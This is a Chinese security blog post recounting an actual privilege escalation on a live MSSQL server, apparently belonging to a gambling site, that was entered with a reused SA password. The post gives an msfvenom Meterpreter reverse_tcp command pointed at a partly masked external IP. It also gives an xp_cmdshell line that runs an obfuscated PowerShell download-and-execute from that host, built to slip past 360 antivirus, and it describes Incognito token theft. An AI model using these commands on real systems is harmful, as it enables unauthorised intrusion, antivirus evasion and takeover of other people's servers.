MSSQL绕过360提权实战案例
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。所有话题标签:#Web安全 #漏洞复现 #工具使用 #权限提升#权限维持 #防护绕过 #内网安全 #实战案例#其他笔记 #资源分享#MSF0x01 前言这个案例是帮“ChaBug”群里一个朋友看的,说是某QP站点,直接是个支持外链的MSSQL,但不是弱口令,SA密码是在以前的服务器上找到的,这台机器应该是刚搬迁过来的服务器,用了原来的SA密码,所以可以直接远程连接,并支持xp_cmdshell执行命令,未做站库分离处理!0x02 信息搜集目标机器基本信息:目标系统:Windows Server 2012 R2(Apache2.4.23 PHP7.1.9)数据库版本:Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64) 当前权限:nt service\mssqlserver开放端口:80、135、1433、2383、3306、3389、22222(Tomcat/8.5.42)......进程名称:phpStudy.exe、http.exe、httpd.exe、mysqld.exe、navicat.exe、androidLoad.exe、GameServer.exe(游戏服务端)、LogServer.exe(日志服务)、redis-cli.exe(redis客户端)、redis-server.exe(redis服务端)、Tomcat8.new.exe(Tomcat8.new服务)、Tomcat8.neww.exe、sqlservr.exe(MSSQL服务端)、ZhuDongFangYu.exe(360主动防御)......将目标机器的进程列表拿到开源的“Windows杀软在线对比辅助”上进行对比发现存在360主动防御的进程,当前权限为nt service\mssqlserver。
0x03 实战提权过程根据他的描述说是项目站点放在C盘,但是在当前权限下不能用dir命令查看C盘下的文件,会提示“拒绝访问。”,只能查看D盘下的文件,经过测试发现确实如此,但他的思路局限于非得找到网站绝对路径,写入Webshell后再进行权限提升,其实大可不必这样。
而我的思路就是直接利用MSF的web_delivery或hta_server模块来获取一个Meterpreter会话,然后再进行权限提升即可。但是在测试过程中也遇到一点小问题,web_delivery执行时出现“标识符太长”的报错,hta_server执行底层powershell.exe时被360的进程防护给拦截了。
这里我们重新生成一个psh-reflection格式的Payload,然后再用xp_cmdshell来执行经过混淆后的Powershell远程执行ps1脚本命令,可以看到已经成功获取到目标机器会话了,其实这也就是这篇文章中主要讲的利用Powershell命令混淆来绕过360进程防护拦截。msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=39.**.**.238 LPORT=443 -f psh-reflection > /tmp/360.ps1
exec master.dbo.xp_cmdshell 'powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://39.**.**.238:8888/360.ps1''))';IEX ($a $b)'
获取到会话后可直接使用Incognito扩展来进行权限提升,因为目标机器上有在运行navicat.exe数据库连接工具,并以Windows身份验证的方式连接的MSSQL,所以会拥有高权限令牌。
注:通过前期的信息搜集得知里边还运行着phpStudy、Tomcat,它们默认都是以高权限运行的,所以也可以尝试找到绝对路径往里边写一个Webshell来进行权限提升,不过这个案例中禁止当前权限读取C盘下的文件,写入权限就更不用说了,这里仅为大家扩展这么一种提权思路。